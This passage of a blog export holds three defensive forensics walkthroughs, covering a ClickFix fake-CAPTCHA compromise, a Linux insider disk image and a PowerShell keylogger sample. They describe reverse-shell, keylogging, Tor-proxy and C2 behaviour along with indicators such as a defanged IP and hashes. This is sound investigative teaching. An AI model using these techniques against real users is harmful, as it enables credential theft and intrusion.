it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nSetup Your Analysis Environment \u0026amp; Extract the Challenge File: Safety first! It’s always important when working with lab/challenge files from Hack The Box (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. As this is a Windows-based challenge, I’m using FLARE-VM for this challenge which is “a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).”\nTo keep this write-up focused I’m going to skip the step-by-step setup of FLARE-VM but _i_f you’d like to set up your own environment, please follow the directions provided directly by FLARE-VM on GitHub.\nGitHub — mandiant/flare-vm: A collection of software installations scripts for Windows systems that… _A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com\nOnce you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!\nQuestion 1: It is crucial to understand any payloads executed on the system for initial access. Analyzing registry hive for user happy grunwald. What is the full command that was run to download and execute the stager. Let’s kick off this investigation by opening the Pikaptcha challenge file. Inside, we’ll find several artifacts, but the first set we’re interested in are contained in the 2024–09–23T052209_alert_mssp_action folder.\nTo answer Question 1, we need to search for evidence of payload execution. Within the 2024–09–23T052209_alert_mssp_action folder are, among others, the registry artifacts. While there are a couple of places we can check, a great starting point is the Most Recently Used (MRU) artifacts.\nThese MRU artifacts are tracked by Windows and can help determine recent interaction with files and applications executed via the Windows Run utility. We can access this information by mounting the NTUSER.DAT hive found in the happygrunwald user folder.\nNow that we understand what we’re searching for, let’s look at the how. One excellent tool for searching Registry artifacts is Eric Zimmerman’s Registry Explorer. This is a GUI-based tool used to open, browse, and search the registry — very handy!\nLet’s put this into practice:\nOpen Registry Explorer Press File \u0026gt; Load Hive Navigate to 2024–09–23T052209_alert_mssp_action\\C\\Users\\happygrunwald Select NTUSER.DAT Pro Tip: Hold Shift when selecting the NTUSER.DAT — this will automatically replay the associated transaction logs. Otherwise, you’ll get a “Dirty Hive” warning.\nRegistry Explorer: Opening the happygrunwald NTUSERS.DAT hive\nOnce loaded, we’re looking for RunMRU. There are two easy ways to get there. I’ve used the search function to locate it quickly, but you can also use the built-in bookmark under Common \u0026gt; RunMRU (Most recently run programs).\nRegistry Explorer: The contents of the RunMRU key\nEither way, you’ll notice a suspicious PowerShell command listed under the Executable column that appears to be reaching out to an external IP address to download a script called office2024install.ps1. Knowing that Happy attempted to download Office updates and that we’re seeking a command that downloads and executes a stager, we can reasonably determine this is the executed payload we\u0026rsquo;re looking for.\nTo make this easier to see, click the Values tab so you can right-click and copy the data value. You can remove the \\1 at the end as it’s not part of the command.\nRegistry Explorer: The values tab of the RunMRU key\nLet’s check our work and move on to the next question.\nQuestion 2: At what time in UTC did the malicious payload execute? To answer Question 2, we need to determine when the payload we identified in the last question executed. For this, simply click the RunMRU tab again within Registry Explorer and check the Opened On value. This is the time stamp we need.\nRegistry Explorer: Viewing the “Opened On” timestamp for the suspicious PowerShell command\nNow that we’ve obtained the value for the execution time, we can start to build our timeline and pivot to searching for follow-on activities.\nQuestion 3: The payload which was executed initially downloaded a PowerShell script and executed it in memory. What is sha256 hash of the script? To answer Question 3, we need to determine the SHA256 hash of the office2024install.ps1 second-stage script. By obtaining the hash of the script, we can search for threat intelligence about the specific file.\nWith limited registry artifacts available, let’s pivot to the second artifact in the challenge file: pikaptcha.pcapng. This PCAPNG file is a network packet capture containing raw network packet data. We can use this data to gain a deep understanding of the network traffic. Typically, when the topic of packet capture comes up, Wireshark is one of the first tools that comes to mind.\nFor this walkthrough, however, we’re going to use NetworkMiner, “an open source network forensics tool that extracts artifacts, such as files, images, emails and passwords, from captured network traffic in PCAP files.”\nWhile this task can be performed in Wireshark, using NetworkMiner instead is extremely beneficial for carving out the file hash of the malicious PowerShell script because NetworkMiner can automatically reassemble files from the packet capture.\nBut first, we need to convert the pikaptcha.pcapng file from PCAPNG to PCAP so that we can open it in NetworkMiner. This is a straightforward process: open the file in Wireshark, press File \u0026gt; Save As, and select the Wireshark/tcpdump/…-pcap file format.\nWireshark: Converting PCAPNG to PCAP for use in NetworkMiner\nImportant: Because NetworkMiner assembles files automatically by default, this might mean you’re introducing malware onto your system if there are malicious files in the PCAP. If your analysis environment has something like Microsoft Defender running, it may start triggering alerts as the potentially malicious files are assembled. This is one of the reasons it’s important to perform malware analysis in a dedicated, safe environment. Don’t put your data at risk!\nFor example, in my isolated Flare-VM environment, real-time protection is typically turned off, so it doesn’t interfere with analysis. For illustrative purposes, I’ve turned it on. As seen in the screenshot below, the built-in Microsoft Defender detected malware in the assembled files from this PCAP.\nMicrosoft Defender: Alert triggered by NetworkMiner’s file reassembly\nOkay, now that we’ve made a copy of pikaptcha.pcapng in PCAP format, let’s open it with NetworkMiner. Once the application is open, use the Files tab and search for the name of the malicious PowerShell script — office2024install.ps1. This will display the file contained in the traffic.\nNetworkMiner: Identifying the SHA256 hash of the PowerShell script\nFinally, right-click the entry and select File Details, which provides detailed information about the file including the SHA256 hash.\n579284442094e1a44bea9cfb7d8d794c8977714f827c97bcb2822a97742914de\nQuestion 4: To which port did the reverse shell connect? Now, you might’ve noticed something strange when we were looking at the office2024install.ps1 payload details in the previous question. Did you catch the blob of encoded strings?\nNetworkMiner: Noting the Base64 blob within the script contents\nThis is likely a way to evade analysis by Base64 encoding the payload, but it also probably contains some interesting artifacts that’ll help us learn more about the script’s behavior.\nTo understand the contents of the PowerShell script, we’ve got a couple of choices:\nPivot to external threat intelligence services like VirusTotal, assuming the file has been seen before. Manually decode the blob using CyberChef. I’ll illustrate both methods — you can choose whichever works best for your workflow.\nTo check VirusTotal, copy the SHA256 hash we identified in Question 3. Then, use your browser to navigate to VirusTotal and paste the hash into the search bar. On the analysis page, head to the Behavior tab and scroll down to Network Communication under the IP Traffic header. Here, we can see the observed port used by the reverse shell:\nVirusTotal: Identifying the reverse shell destination port\nA second option is to use a tool like CyberChef to decode the script manually. To make it easier to copy the encoded content, open the assembled script from NetworkMiner’s output directory, then open the PowerShell script in a text editor like Notepad++ and copy it to your clipboard.\nNotepad++: Opening the malicious script contents\nNext, open CyberChef. This will be part of your Flare-VM environment, but if not, the online version works just as well. Paste the encoded blob into the Input field and add the “From Base64” and “Remove Null Bytes” operations to the recipe.\nCyberChef: Decoding the Base64 to identify the port\nVoilà! Now that we’ve decoded the script contents, we can see that it’s using the System.Net.Sockets.TCPClient class to establish a connection over port 6969 to the same IP address we identified in Question 1.\nQuestion 5: For how many seconds was the reverse shell connection established between C2 and the victim’s workstation? Now that we’ve uncovered the destination IP and the port used by the reverse shell, our next objective is to determine how long the connection was active. For this task, let’s return to the Hosts tab in NetworkMiner.\nOn the Hosts tab, input the command and control IP address we identified in the script to filter traffic for that host:\n43[.]205[.]115[.]44\nNext, expand the IP address and turn your attention to the Incoming Sessions header to identify the session over port 6969, including the session start and end times.\nNetworkMiner: Determining the session start and end times to the C2 IP and port\nNow that we have the timestamps, we’ve almost got the answer. All we need to do is calculate the duration of the connection in seconds. To work a little smarter, we can leverage an online tool like the Time Duration Calculator from Calculator.net.\nTime Duration Calculator _Free calculator to get the number of hours, minutes, and seconds between two times. Also, a full version to calculate…_www.calculator.net\nSimply input the times we identified in NetworkMiner to determine that the connection was active for 403 seconds.\nCalculator.net: Calculating the time duration for the C2 connection in seconds\nQuestion 6: Attacker hosted a malicious Captcha to lure in users. What is the name of the function which contains the malicious payload to be pasted in victim’s clipboard? For our final objective, we need to find the function on the website that copies a malicious PowerShell command to the victim’s clipboard as part of a fake Captcha.\nTo do this, we can leverage NetworkMiner’s assembled files to view a reconstruction of the index.html page visited by Happy and used to facilitate the compromise. For example, we can identify the correct directory in the AssembledFiles by looking for the C2 IP address folder from the previous question and checking the folder for TCP-80 (HTTP), indicating web traffic.\nLocating the reassembled index.html page\nAfter locating the reassembled index.html, open it with your default web browser. My analysis machine is using Microsoft Edge, for example.\nOnce open, press F12 to launch the browser’s DevTools and view the page source. Select the index.html file in the Page column, then navigate to the Sources tab.\nScroll down until we stumble on the function stageClipboard. This is the function that contains the malicious PowerShell code which is automatically copied to the victim’s clipboard.\nMicrosoft Edge: Identifying the stageClipboard function in index.html\nNotice the familiar command? It’s the same PowerShell command we found in Question 1. This means we’ve identified the source of the initial access and confirmed that our victim, Happy Grunwald, was compromised.\nBased on Happy’s account of solving a Captcha challenge, and the evidence we’ve located during this investigation, we can reasonably conclude that he fell victim to a fake CAPTCHA leading to a ClickFix attack.\nIf you aren’t familiar, ClickFix attacks typically involve a fake Captcha page that asks the user to “verify” themselves by instructing the victim to open the Windows Run dialog and paste a malicious PowerShell command that has been automatically copied to their clipboard. This technique is known as User Execution: Malicious Copy and Paste (T1204.004) from MITRE ATT\u0026amp;CK.\nIf you’d like more information about ClickFix attacks, check out this excellent blog from Palo Alto Unit 42 linked below:\nFix the Click: Preventing the ClickFix Attack Vector _ClickFix campaigns are on the rise. We highlight three that distributed NetSupport RAT, Latrodectus, and Lumma Stealer…_unit42.paloaltonetworks.com\nNow that we’ve completed all our objectives and scoped out this attack, let’s submit our answer and wrap up the investigation.\nConclusion: There we have it! We’ve completed all our objectives and determined how the victim, Happy, was compromised. By analyzing the user’s NTUSER.DAT artifact with Registry Explorer, we identified a malicious command executed on the victim’s system. After that, we checked out their network traffic with NetworkMiner to identify second-stage payloads, command and control infrastructure, and ultimately confirmed that the user fell victim to a fake Captcha leading to a ClickFix attack.\nA big thank you to Hack The Box for another high-quality and engaging Sherlock. These things are just awesome — each one presents a great hands-on opportunity to investigate realistic attacks. I chose this week’s challenge to learn more about the artifacts left behind from a ClickFix attack. These types of attacks are becoming more and more common, so I wanted an opportunity to dig deeper into how they work and what impact they can have.\nWhile Wireshark is a core tool in any cybersecurity toolkit, I wanted the opportunity to highlight a great use case for NetworkMiner and its feature set. This challenge didn’t disappoint!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!\nUntil next week’s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://app.hackthebox.com/sherlocks/Pikaptcha\nFlare-VM: https://github.com/mandiant/flare-vm\nEric Zimmerman’s Tools: https://ericzimmerman.github.io/#!index.md\nWireshark: https://www.wireshark.org/\nNetworkMiner: https://www.netresec.com/?page=NetworkMiner\nNotepad++: https://notepad-plus-plus.org/\nVirusTotal: https://www.virustotal.com/\nCyberChef: https://gchq.github.io/CyberChef/\nVirusTotal — Sample: https://www.virustotal.com/gui/file/579284442094e1a44bea9cfb7d8d794c8977714f827c97bcb2822a97742914de/behavior\nCalculator.net: https://www.calculator.net/time-duration-calculator.html?starthour=05\u0026amp;startmin=07\u0026amp;startsec=48\u0026amp;startunit=a\u0026amp;endhour=05\u0026amp;endmin=15\u0026amp;endsec=31\u0026amp;endunit=p\u0026amp;ctype=1\u0026amp;x=Calculate\nMITRE ATT\u0026amp;CK — User Execution: Malicious Copy and Paste (T1204.004): https://attack.mitre.org/techniques/T1204/004/\nPalo Alto — Unit 42: Fix the Click: Preventing the ClickFix Attack Vector: https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/\n","date":"2025-08-10T00:00:00Z","image":"/posts/hackthebox-pikaptcha-sherlock-walkthrough/31cfedeb43227d42634f7513d90ab7bd_MD5.png","permalink":"/posts/hackthebox-pikaptcha-sherlock-walkthrough/","title":"HackTheBox  — Pikaptcha Sherlock Walkthrough"},{"content":"CyberDefenders — Insider Lab Walkthrough A Linux DFIR Challenge Using FTK Imager and Built-In Logs. Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/insider/\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog searching for a comprehensive guide to the Insider Lab from CyberDefenders, you\u0026rsquo;re in the right spot. This challenge is a fantastic introduction to digital forensics and incident response (DFIR) on Linux and provides a solid foundational overview of some of the commonly used logs.\nLet\u0026rsquo;s check out the scenario below:\nChallenge Scenario: After Karen started working for €˜TAAUSAI,\u0026rsquo; she began doing illegal activities inside the company. €˜TAAUSAI\u0026rsquo; hired you as a soc analyst to kick off an investigation on this case.\nYou acquired a disk image and found that Karen uses Linux OS on her machine. Analyze the disk image of Karen\u0026rsquo;s computer and answer the provided questions.\nA case of a malicious insider? That\u0026rsquo;s not good! It\u0026rsquo;s up to us to search for evidence and uncover what actions Karen took. Fortunately, we are provided with a forensic disk image that we can use to determine exactly what happened.\nTo perform this investigation, we\u0026rsquo;re going to leverage FTK Imager, a popular forensics tool used to create and explore disk images of a system. Once inside, we\u0026rsquo;ll be hands-on and searching through the available artifacts manually to shed some light on what activities were perpetrated by Karen. Sounds like fun, right? Let\u0026rsquo;s get into it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nSetup the Analysis Environment \u0026amp; Extract the Challenge File: Safety first! It\u0026rsquo;s always important when working with lab/challenge files from CyberDefenders (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. For this challenge, I\u0026rsquo;m using FLARE-VM, \u0026quot; # \u0026ldquo;a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM)\u0026ldquo;since you can optionally install FTK Imager during the install.\nTo keep this write-up focused I\u0026rsquo;m going to skip the step-by-step setup of FLARE-VM but if you\u0026rsquo;d like to set up your own environment, please follow the directions provided directly by FLARE-VM on GitHub.\nGitHub - mandiant/flare-vm: A collection of software installations scripts for Windows systems that\u0026hellip; _A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a\u0026hellip;_github.com\nOnce you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!\nQuestion 1: Which Linux distribution is being used on this machine? Once the challenge file is extracted, navigate to the c46-FirstHack directory, which contains the FirstHack.ad1 file. The AD1 file is a forensic disk image format created by FTK Imager.\nOverview of the Challenge File contents\nTo work through this challenge, we\u0026rsquo;re going to rely on analyzing artifacts within the disk image. Our first step is to open FTK Imager within your analysis environment.\nOnce the application is open, go to File \u0026gt; Add Evidence Item \u0026gt; Image File, and point to the FirstHack.ad1 file.\nFTK Imager: FirstHack.ad1 loaded\nNow that we have the image mounted, we can search for the answer to Question 1. One log we can check to identify the Linux distribution used on the machine is the kern.log located at /var/log/kern.log. This log contains kernel-related logging data, including the OS version being loaded.\nFTK Imager: Identifying the Linux version in the kern.log\nThis log tells us that Karen is using Kali Linux, a popular penetration testing distribution that you\u0026rsquo;re likely familiar with if you\u0026rsquo;re reading this walkthrough.\nQuestion 2: What is the MD5 hash of the Apache access.log file? The next step on our investigation is to determine the MD5 hash of the system\u0026rsquo;s Apache access.log file.\nWe\u0026rsquo;ll locate the access.log within the /var/log/apache2 directory. Once we\u0026rsquo;ve found it, we can leverage FTK Imager\u0026rsquo;s Export File Hash List feature by right-clicking the access.log entry. This will generate a CSV file containing the file hashes.\nFTK Imager: Exporting the access.log file hash\nFor example, I opened the CSV file in Visual Studio Code, but any CSV viewer will work. Once you have it open, you\u0026rsquo;ll be able to collect both the MD5 and SHA1 file hashes.\nVisual Studio Code: Reviewing the access.log file hash export\nQuestion 3: It is suspected that a credential dumping tool was downloaded. What is the name of the downloaded file? Our next task is to determine what credential dumping tool the user downloaded. A good starting point is to check the user\u0026rsquo;s Downloads directory at /root/Downloads.\nFTK Imager: Surveying the Downloads directory\nInside the directory, we\u0026rsquo;ll discover a file named mimikatz_trunk.zip. Based on this filename, we can reasonably say that this archive contains the popular Windows credential dumping tool, Mimikatz.\nQuestion 4: A super-secret file was created. What is the absolute path to this file? To answer Question 4, we\u0026rsquo;ll need to dig a bit deeper to uncover a \u0026quot; # \u0026quot;\nsuper-secret\u0026rdquo; file created on the system.\nOne extremely robust and common source of forensic artifacts on Linux is the .bash_history file. This file stores the commands run within the shell or terminal, making it extremely valuable for providing clues about user behavior on the system. For our purposes, we can check this log by navigating to /root/.bash_history and reviewing the output in the bottom pane.\nFTK Imager: Checking the contents of .bash_history\nAmong many other interesting commands, we can see toward the top of the log that the touch command is used to create SuperSecretFile.txt in the /root/Desktop directory. Sneaky indeed!\nQuestion 5: What program used the file didyouthinkwedmakeiteasy.jpg during its execution? To answer Question 5, let\u0026rsquo;s continue analyzing the .bash_history file and see if we can stumble across any clues that point us in the right direction.\nFTK Imager: Identifying didyouthinkwedmakeiteasy.jpg in .bash_history\nScroll to the bottom of the log and you\u0026rsquo;ll find a reference to the target file didyouthinkwedmakeiteasy.jpg. Notice the command binwalk next to it? According to the Kali documentation:\nBinwalk is a tool for searching a given binary image for embedded files and executable code. Specifically, it is designed for identifying files and code embedded inside of firmware images.\nSo, in this context, it appears that cautious Karen was checking this image file for the presence of embedded executables using Binwalk.\nQuestion 6: What is the third goal from the checklist Karen created? To determine the third goal, we first have to locate Karen\u0026rsquo;s checklist. To do this, we\u0026rsquo;ll stumble through the usual suspects — common directories like Desktop, Documents, Downloads, Pictures, and so on.\nLucky for us, checking the /root/Desktop folder first reveals two files: mimikatz and Checklist. The first confirms that Karen downloaded the Mimikatz credential dumper we found back in Question 3, and the second contains her checklist.\nSelect the Checklist and check out Karen\u0026rsquo;s plans.\nFTK Imager: The location of Karen\u0026rsquo;s checklist\nQuestion 7: How many times was Apache run? Remember back in Question 2 when we obtained the file hash of access.log? To answer Question 7, we need to check the contents of the file instead.\nLet\u0026rsquo;s navigate back to /var/log/apache2/access.log. After selecting the file, we see something strange—the log is blank. No problem. This actually tells us something useful: Apache was not run on Karen\u0026rsquo;s system, so the answer is zero.\nFTK Imager: The contents of the access.log\nQuestion 8: This machine was used to launch an attack on another. Which file contains the evidence for this? For Question 8, we need to determine which other machine Karen\u0026rsquo;s device attacked. As a starting point, let\u0026rsquo;s return to the /root/.bash_history file to search for any additional clues.\nFTK Imager: Identifying victim clues in .bash_history\nToward the bottom of the log, we see a reference to the name Bob — maybe the same Bob mentioned in the Checklist? Interesting, but not entirely helpful.\nBut did you notice an oddly named .jpeg file in the /root directory? You can see it in the file list at the same location where we selected the .bash_history. Let\u0026rsquo;s select it to view the contents\u0026hellip;\nFTK Imager: Evidence of the attack\nBingo! This is a screenshot of Bob\u0026rsquo;s desktop, which we can determine from the user file path visible in the Windows command prompt window. This strongly implies that Karen had remote access to Bob\u0026rsquo;s device.\nQuestion 9: It is believed that Karen was taunting a fellow computer expert through a bash script within the Documents directory. Who was the expert that Karen was taunting? Question 9 tells us that there\u0026rsquo;s a bash script in the Documents directory that contains the information we\u0026rsquo;re looking for. Let\u0026rsquo;s check it out.\nWithin the directory, there are a couple of scripts, but we want to focus on firstscript_fixed.\nChecking out the contents of this simple script, we see some network enumeration tasks, but the final command contains this printed line:\necho \u0026ldquo;Heck yeah! I can write bash too Young\u0026rdquo;\nFTK Imager: Karen\u0026rsquo;s taunt\nBased on the boasting nature of this output, we can reasonably guess that Young is the computer expert Karen was taunting.\nQuestion 10: A user executed the su command to gain root access multiple times at 11:26. Who was the user? For this objective, we can leverage another log — /var/log/auth.log. This file contains the system\u0026rsquo;s authentication events, including commands elevated using sudo.\nLet\u0026rsquo;s use the find feature within the output window to identify the executed su commands.\nFTK Imager: Finding the su events in auth.log\nNow that we\u0026rsquo;ve found them in the logs and matched the timestamps to the question, we can see that the user postgres was responsible for the command execution.\nQuestion 11: Based on the bash history, what is the current working directory? For our final question, we\u0026rsquo;ll return one last time to the .bash_history artifact to determine the current working directory of the terminal.\nFTK Imager: Finding the current working directory from .bash_history\nEasy enough — we can see the bash history shows navigation to the /root/Documents/myfirsthack directory, where we previously stumbled across Karen\u0026rsquo;s attack tooling.\nAwesome job! Now let\u0026rsquo;s wrap up this investigation.\nConclusion: There we have it! We\u0026rsquo;ve successfully analyzed the forensic disk image of Karen\u0026rsquo;s device through FTK Imager. With access to the image, we were able to move through our investigation, determining several key pieces of evidence, such as the OS distro, the presence of a common credential access tool, a possible motive, a victim, and some of Karen\u0026rsquo;s associates. Not too bad! Now let\u0026rsquo;s report our findings back to TAAUSAI and close out this Insider case.\nA big thank you to CyberDefenders for a fun and engaging lab. I\u0026rsquo;ve been brushing up on my Linux forensics skills recently, so I chose this lab to run an investigation without terminal access to the system, instead relying on artifacts available from within a disk image. This was surprisingly effective, and it was interesting to see the Linux file structure from the top-down rather than being in the system directly. It really helped to solidify my working knowledge of Linux artifacts and will definitely be helpful in the field. Awesome stuff!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don\u0026rsquo;t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/insider/\nFlare-VM: https://github.com/mandiant/flare-vm\nFTK Imager: https://www.exterro.com/digital-forensics-software/ftk-imager\nMITRE ATT\u0026amp;CK — Software — Mimikatz (S0002): https://attack.mitre.org/software/S0002/\nKali Documentation — Binwalk: https://www.kali.org/tools/binwalk/\n","date":"2025-07-27T00:00:00Z","image":"/posts/cyberdefenders-insider-lab-walkthrough/e3adc37179a3be9cbff550a51e4d726e_MD5.png","permalink":"/posts/cyberdefenders-insider-lab-walkthrough/","title":"CyberDefenders  —  Insider Lab Walkthrough"},{"content":"LetsDefend — PowerShell Keylogger Challenge Walkthrough Investigating a PowerShell Malware Sample With Notepad++. Image Credit: https://app.letsdefend.io/\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog searching for a comprehensive guide to the PowerShell Keylogger challenge from LetsDefend, you\u0026rsquo;re in the right place. This challenge is a great introduction to analyzing PowerShell-based malware, and it gives us a chance to flex our manual analysis skills. Let\u0026rsquo;s check out the scenario:\nChallenge Scenario: You are a malware analyst investigating a suspected PowerShell malware sample. The malware is designed to establish a connection with a remote server, execute various commands, and potentially exfiltrate data. Your goal is to analyze the malware\u0026rsquo;s functionality and determine its capabilities.\nPretty straightforward, right? Analyze the sample, figure out what it can do. But what\u0026rsquo;s in our toolkit for this investigation? We\u0026rsquo;re going full manual here — all we need is a trusty text editor like Notepad++. As we work through the script, we\u0026rsquo;ll also do some light external research to make sure we\u0026rsquo;re seeing the full picture.\nSounds like fun, right? Let\u0026rsquo;s get into it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nQuestion 1: What is the proxy port used by the script? Alright, let\u0026rsquo;s kick off our investigation and dig into the PowerShell malware sample. First, open the ChallengeFile folder and extract the sample.7z archive, which contains the cha sample file.\nOverview of the ChallengeFile folder\nSince we know this is a malicious PowerShell script, we can begin our analysis by looking at the strings within the script to determine what it does. One approach is to simply open the script with a text editor to view the contents. For this walkthrough, I\u0026rsquo;ll be using Notepad++, but there are many other options — the choice is yours!\nOnce we have the sample opened in Notepad++, we\u0026rsquo;ll see some defined parameters, which is a great way to ease into the analysis. To answer Question 1, turn your attention to Line 5.\nIdentifying the proxy port used by the script\nWe can see the $proxyPort variable declared with the value of [9050](https://whatportis.com/search/9050), indicating that this is the port used by the proxy server. According to WhatPortIs, port 9050 is the Tor SOCKS proxy port used by the Tor network, which is commonly used for anonymous browsing. This tells us that the malware is likely attempting to obfuscate its traffic by routing through Tor and hiding out on the dark web.\nQuestion 2: What function-method is used for starting keylogging? The next thing we\u0026rsquo;re going to search for is the name of the keylogging function within the script. In the real world, it\u0026rsquo;s a good idea to read through the script in its entirety to build out an understanding of the whole thing, but for the purposes of this challenge, we\u0026rsquo;re looking for something specific.\nSo, to speed things up, we can leverage the Find function in Notepad++ and search for the keyword \u0026quot;keylogger\u0026quot;.\nCheck out Line 94:\nIdentifying the keylogger function in the script\nHere we can see the line function Start-Keylogger, which indicates that this is the name of the function containing the keylogging module.\nQuestion 3: What is the name of the file used by the script to store the keylog data? Now that we\u0026rsquo;ve identified the keylogger function, our next task is to determine which file the collected data is stored in. Keep digging through the keylogging function we discovered earlier.\nIdentifying the keylog storage file in the script\nAs we scroll down the lines, everything might not make sense right away — but on Line 134, we\u0026rsquo;ll stumble on the AppendAllText operation that writes the input to a file: keylog.txt.\nThis is an important artifact to discover because we could use it to help determine what keystroke data was captured and potentially exfiltrated by the malware.\nQuestion 4: What command is used by the script to achieve persistence? Moving right along, the next object we need to identify is the persistence mechanism used by the malware. If we search through the script, we\u0026rsquo;ll find a clue on Line 245, where we see a conditional check:\n$command -eq \u0026ldquo;persist\u0026rdquo;\nThis line is paired with a translated comment that reads: \u0026ldquo;the logic of persistence here if necessary.\u0026rdquo;\nIdentifying the persistence command in the script\nNow, malware comments aren\u0026rsquo;t exactly the most reliable source of truth — but in this case, they\u0026rsquo;re actually helpful. Despite the mention of persistence, it doesn\u0026rsquo;t appear that any actual persistence module is weaponized in this sample.\nQuestion 5: What is the command used by the script to upload data? The next command we need to locate is the one used to upload data. We can find a clue on Line 215, which references an upload: command.\nIdentifying the upload command in the script\nWhile we probably already figured this out, the presence of an upload mechanism suggests that this script supports some method to exfiltrate data from a victim environment.\nQuestion 6: What is the regex used by the script to filter IP addresses? Okay, time to shift gears a little. The next thing we need to find is the regex the script uses to filter specific IP addresses. While it might seem like some kind of IT magic, regex is essentially a way to define patterns or sequences and match those in a data set.\nOn Line 86, we\u0026rsquo;ll find an example using the Get-NetIPAddress function, which is used to enumerate the IP address configuration on the victim\u0026rsquo;s system.\nIdentifying the IP filtering regex in the script\nImportantly for Question 6, look at the -nomatch argument and the pattern next to it — this is the regex we\u0026rsquo;re looking for:\n^(127.|169.254.)\nThis means the pattern is used to exclude IP addresses that match strings typically associated with local or non-routable addresses, and don\u0026rsquo;t offer much tactical value to an attacker trying to gather information about a network.\n127. is commonly used for loopback addresses like 127.0.0.1 169.254. is used for link-local addresses assigned when DHCP fails Question 7: What is the DLL imported by the script to call keylogging APIs? To answer this one, we need to identify the DLL the script imports to access the APIs used by the keylogger.\nJump back to Line 94, where we first found evidence of the keylogger. If we keep reading through the function, we\u0026rsquo;ll see that on lines 99, 101, 103, and 105, the script imports user32.dll.\nIdentifying the DLLImport in the script\nThis DLL is part of Windows and is used to access functions like GetAsyncKeyState (Line 119) to monitor keystrokes.\nQuestion 8: How many seconds does the script wait before re-establishing a connection? We\u0026rsquo;ve made it to the final question! This time, we need to determine the waiting period the script uses to re-establish a connection to the attacker\u0026rsquo;s command and control server.\nLet\u0026rsquo;s start with something easy and search for the keyword \u0026quot;Seconds\u0026quot;. There are several wait period commands (Start-Sleep), so we\u0026rsquo;ll need to identify the correct one.\nIdentifying the Start-Sleep values in the script\nWhich one to choose? Fortunately, we have some handy comment lines to guide us — though they\u0026rsquo;re in French. A quick translation using something like Google Translate gives us:\nAttendre avant de tenter une reconnexion = Wait before attempting to reconnect Attendre avant de redémarrer complètement = Wait before restarting completely\nWhile it might seem like \u0026ldquo;reconnect\u0026quot;is the right match for \u0026ldquo;re-establishing\u0026quot;the connection, the value we\u0026rsquo;re actually looking for is the second one on Line 276. This line pauses the Establish-Connection function in the event of an error, ensuring the script tries again after a delay of 60 seconds.\nIdentifying the Start-Sleep value in the script\nThis pause helps maintain persistence by giving the script time to recover and reattempt communication with the C2 infrastructure. Now that we\u0026rsquo;ve identified the correct Start-Sleep value, it\u0026rsquo;s time to wrap up this investigation!\nBonus (Optional): Let\u0026rsquo;s embark on a short side quest to enrich our findings and put everything together. Why not check an online malware analysis platform like VirusTotal to see if this sample has been submitted before?\nTo do this, we\u0026rsquo;ll collect the file hash of the cha sample by opening PowerShell within the LetsDefend VM and navigating to the ChallengeFile directory.\nThen, use the Get-FileHash command to grab the SHA256 hash of the file:\nPowerShell: Grabbing the script\u0026rsquo;s file hash\n181fe99c16fa6cc87a3161bc08a9e2dbd17531c7d713b09d8567c1b3debe121f\nNext, open your browser and head to https://www.virustotal.com, then paste the SHA256 hash into the search bar.\nVirusTotal: Overview of the sample\u0026rsquo;s results\nFrom here, we can confirm our findings and dig into the additional context provided by VirusTotal\u0026rsquo;s analysis and community. The purpose of this exercise is to gain some experience and offer a different perspective to assist in triage — not to replace the manual analysis skills we flexed in this challenge.\nIn the real world, time, pressure, experience, and obfuscation are all factors that can detract from hands-on analysis. Knowing when to leverage additional tools can make all the difference.\nQuest completed!\nConclusion: Challenge completed! By using Notepad++ to analyze the malware sample, we were able to determine that we\u0026rsquo;re looking at a PowerShell keylogger capable of capturing, collecting, and exfiltrating data from a victim\u0026rsquo;s device. Yikes!\nAs we worked through the investigation, we uncovered how the malware operates and what optional modules it could weaponize. To confirm our findings, we turned to VirusTotal for additional context. With all the pieces in place, it\u0026rsquo;s time to write up our report and close out our investigation. Nice Job!\nA big thank you to LetsDefend for another engaging challenge. This one was especially fun to work through — while it\u0026rsquo;s simple enough to answer the guided questions, it invites a much deeper investigation to fully understand what the malware is doing and what it\u0026rsquo;s capable of. I always like to keep script analysis challenges in the rotation because each one is a little different and offers a great learning experience every time.\nWhile we wrapped up with VirusTotal, I still believe manual analysis skills are fundamental. They help build real working knowledge and prepare us to respond effectively during incident response. Awesome stuff!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don\u0026rsquo;t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://app.letsdefend.io/challenge/powershell-keylogger\nNotepad++: https://notepad-plus-plus.org/\nWhatPortIs — 9050: Search Network Ports | WhatPortIs — Network Port Database\nMITRE 